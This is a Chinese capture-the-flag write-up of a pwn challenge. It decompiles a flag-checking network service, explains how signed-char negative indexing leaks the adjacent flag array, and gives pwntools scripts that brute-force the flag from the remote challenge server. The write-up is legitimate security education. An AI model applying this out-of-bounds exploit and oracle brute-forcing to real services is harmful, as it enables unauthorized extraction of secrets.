先看一下函数结构:
main:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
struct sockaddr addr; // [rsp+0h] [rbp-20h]
__pid_t v4; // [rsp+14h] [rbp-Ch]
int v5; // [rsp+18h] [rbp-8h]
int fd; // [rsp+1Ch] [rbp-4h]
fd = socket(2, 1, 0);
if ( fd == -1 )
{
perror("unable to create server socket");
exit(1);
}
*&addr.sa_family = 0LL;
*&addr.sa_data[6] = 0LL;
addr.sa_family = 2;
*addr.sa_data = htons(0x270Fu);
if ( bind(fd, &addr, 0x10u) )
{
perror("unable to bind socket");
exit(1);
}
if ( listen(fd, 16) )
{
perror("deaf");
exit(1);
}
while ( 1 )
{
while ( 1 )
{
v5 = accept(fd, 0LL, 0LL);
if ( v5 != -1 )
break;
perror("accept failed, is this bad?");
}
v4 = fork();
if ( v4 == -1 )
{
perror("can't fork! that's bad, I think.");
close(v5);
sleep(1u);
}
else
{
if ( !v4 )
{
close(fd);
handle(v5);
exit(0);
}
close(v5);
}
}
}
main函数的结构没什么看的,就是一个进程...(是一个流式套接字开启了一个9999号端口,建立连接之后会开启新的进程,用handle来获取进程)..直接打开handle函数看一下
handle:
char *__fastcall handle(int a1)
{
signed __int64 v1; // rsi
char *result; // rax
char s; // [rsp+10h] [rbp-1010h]
_BOOL4 v4; // [rsp+101Ch] [rbp-4h]
alarm(0x78u);
if ( dup2(a1, 0) == -1 || dup2(a1, 1) == -1 )
exit(1);
v1 = 0LL;
setbuf(stdout, 0LL);
puts(
"Notice: Important!!\n"
"This is a test program for you to test on localhost.\n"
"Notice flag in this test program starts with `FAKE{` and the\n"
"program on server has the real flag which starts with `PCTF{`\n"
"\n"
"\n"
"\n"
"Welcome to the super-secret flag guess validation system!\n"
"Unfortunately, it only works for the flag for this challenge though.\n"
"The correct flag is 50 characters long, begins with `PCTF{` and\n"
"ends with `}` (without the quotes). All characters in the flag\n"
"are lowercase hex (so they are in [0-9a-f]).\n"
"\n"
"Before you can submit your flag guess, you have to encode the\n"
"whole guess with hex again (including the `PCTF{` and the `}`).\n"
"This protects the flag from corruption through network nodes that\n"
"can't handle non-hex traffic properly, just like in email.\n");
while ( 1 )
{
printf("guess> ", v1);
v1 = 4096LL;
result = fgets(&s, 4096, stdin);
if ( !result )
break;
rtrim(&s);
v4 = is_flag_correct(&s);
if ( v4 )
puts(
"Yaaaay! You guessed the flag correctly! But do you still remember what you entered? If not, feel free to try again!");
else
puts("Nope.");
}
return result;
}
is_flag_correct:
_BOOL8 __fastcall is_flag_correct(const char *flag_hex)
{
unsigned int v1; // eax
char given_flag[64]; // [rsp+10h] [rbp-190h]
int flag; // [rsp+50h] [rbp-150h]
int v5; // [rsp+54h] [rbp-14Ch]
int v6; // [rsp+58h] [rbp-148h]
int v7; // [rsp+5Ch] [rbp-144h]
int v8; // [rsp+60h] [rbp-140h]
int v9; // [rsp+64h] [rbp-13Ch]
int v10; // [rsp+68h] [rbp-138h]
int v11; // [rsp+6Ch] [rbp-134h]
int v12; // [rsp+70h] [rbp-130h]
int v13; // [rsp+74h] [rbp-12Ch]
int v14; // [rsp+78h] [rbp-128h]
int v15; // [rsp+7Ch] [rbp-124h]
__int16 v16; // [rsp+80h] [rbp-120h]
char bin_by_hex[258]; // [rsp+90h] [rbp-110h]
char value2; // [rsp+192h] [rbp-Eh]
char value1; // [rsp+193h] [rbp-Dh]
int j; // [rsp+194h] [rbp-Ch]
char v21; // [rsp+19Bh] [rbp-5h]
int i; // [rsp+19Ch] [rbp-4h]
if ( strlen(flag_hex) != 100 )
{
v1 = strlen(flag_hex);
printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1);
exit(0);
}
qmemcpy(bin_by_hex, &unk_401100, 0x100uLL);
flag = 'EKAF';
v5 = '3b9{';
v6 = '3e55';
v7 = '2d49';
v8 = 'e070';
v9 = 'd0db';
v10 = '591f';
v11 = '2b8d';
v12 = '0543';
v13 = '2cc9';
v14 = '2729';
v15 = '14cb';
v16 = '}2';
bzero(given_flag, 0x32uLL);
for ( i = 0; i <= 49; ++i )
{
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
if ( value1 == -1 || value2 == -1 )
{
puts("bad input – one of the characters you supplied was not a valid hex character!");
exit(0);
}
given_flag[i] = value2 | 16 * value1;
}
v21 = 0;
for ( j = 0; j <= 49; ++j )
v21 |= flag[j] ^ given_flag[j];
return v21 == 0;
}
flag数组:FAKE{9b355e394d2070edbd0f195d8b234509cc29272bc412}
主要的的验证部分:
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]]
查看堆栈空间发现
-0000000000000190 given_flag db 50 dup(?)
-000000000000015E db ? ; undefined
-000000000000015D db ? ; undefined
-000000000000015C db ? ; undefined
-000000000000015B db ? ; undefined
-000000000000015A db ? ; undefined
-0000000000000159 db ? ; undefined
-0000000000000158 db ? ; undefined
-0000000000000157 db ? ; undefined
-0000000000000156 db ? ; undefined
-0000000000000155 db ? ; undefined
-0000000000000154 db ? ; undefined
-0000000000000153 db ? ; undefined
-0000000000000152 db ? ; undefined
-0000000000000151 db ? ; undefined
-0000000000000150 flag db 50 dup(?)
-000000000000011E db ? ; undefined
-000000000000011D db ? ; undefined
-000000000000011C db ? ; undefined
-000000000000011B db ? ; undefined
-000000000000011A db ? ; undefined
-0000000000000119 db ? ; undefined
-0000000000000118 db ? ; undefined
-0000000000000117 db ? ; undefined
-0000000000000116 db ? ; undefined
-0000000000000115 db ? ; undefined
-0000000000000114 db ? ; undefined
-0000000000000113 db ? ; undefined
-0000000000000112 db ? ; undefined
-0000000000000111 db ? ; undefined
-0000000000000110 bin_by_hex db 256 dup(?)
flag的地址是bin_by_hex+0x40
程序中又通过bin_by_hex这个数组取值
那么如果index为负数,就会取到flag数组中的数
具体怎么利用:
char字符可以设置为[-128,0),[0,127]这么大范围,刚好包括2个数组,
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
using namespace std;
int main()
{
char flag_hex[256];
int i;
for (i = 1; i <= 255; i++)
{
flag_hex[i] = i;
printf("%d:%d\n",i, flag_hex[i]);
}
}
得到的运行结果是:
190:-66
191:-65
192:-64
193:-63
194:-62
195:-61
由此可见
-64(0x40)对应的是192
所以我们可以设置下标起始为192从而正确的输出flag
不能直接写-64是因为python里规定字符串的下标只能是正的
再回到原来的结构:
given_flag=value2+16 * value1
只要value1=0,value2=flag[-40]~flag[-1]
那么得到的given_flag[i]就是flag
from pwn import *
import string
#context.log_level = 'debug'
payload=""
for i in range(50):
payload+="0"+chr(0x40+128+i)
Io=remote("pwn.jarvisoj.com",9878)
Io.recvuntil("guess>")
Io.sendline(payload)
Io.recvline()
Io.close()
这个payload可以走到正确的地方,但是打印不出flag
所以我们采用爆破的办法
控制其为一位一位验证
先让given_flag[1]~given_flag[49]是flag的内容(以上exp)
对given_flag[0]进行爆破,再逐次向后爆破。写得脚本(如下exp)
#!/usr/bin/env python
#coding:utf-8
from pwn import *
import string
#context.log_level = 'debug'
payload=""
for i in range(50):
payload+="0"+chr(0x40+128+i)
Io=remote("pwn.jarvisoj.com",9878)
Io.recvuntil("guess>")
Io.sendline(payload)
Io.recvline()
Io.close()
Io = remote("pwn.jarvisoj.com", 9878)
Io.recvuntil("guess>")
flag=list(payload)
YES='Yaaaay!'
Flag=''
for i in range(50):
for j in string.printable:
flag[2*i]=j.encode('hex')[0]
flag[2*i+1]=j.encode('hex')[1]
Io.sendline("".join(flag))
print flag
Re=Io.recvline()
print Re
print Flag
if (YES in Re)==1:
Flag+=j
break
Io.interactive()
此题漏洞是约束条件不完整,
数组的约束也能产生漏洞。
注意下标和内容的对应
真正的内容肯能藏在下标里面而不是内容
参考wp:https://blog.csdn.net/qq_38204481/article/details/80872005
https://blog.csdn.net/github_36788573/article/details/80719888
来源:CSDN
作者:苗_
链接:https://blog.csdn.net/weixin_43876357/article/details/104510870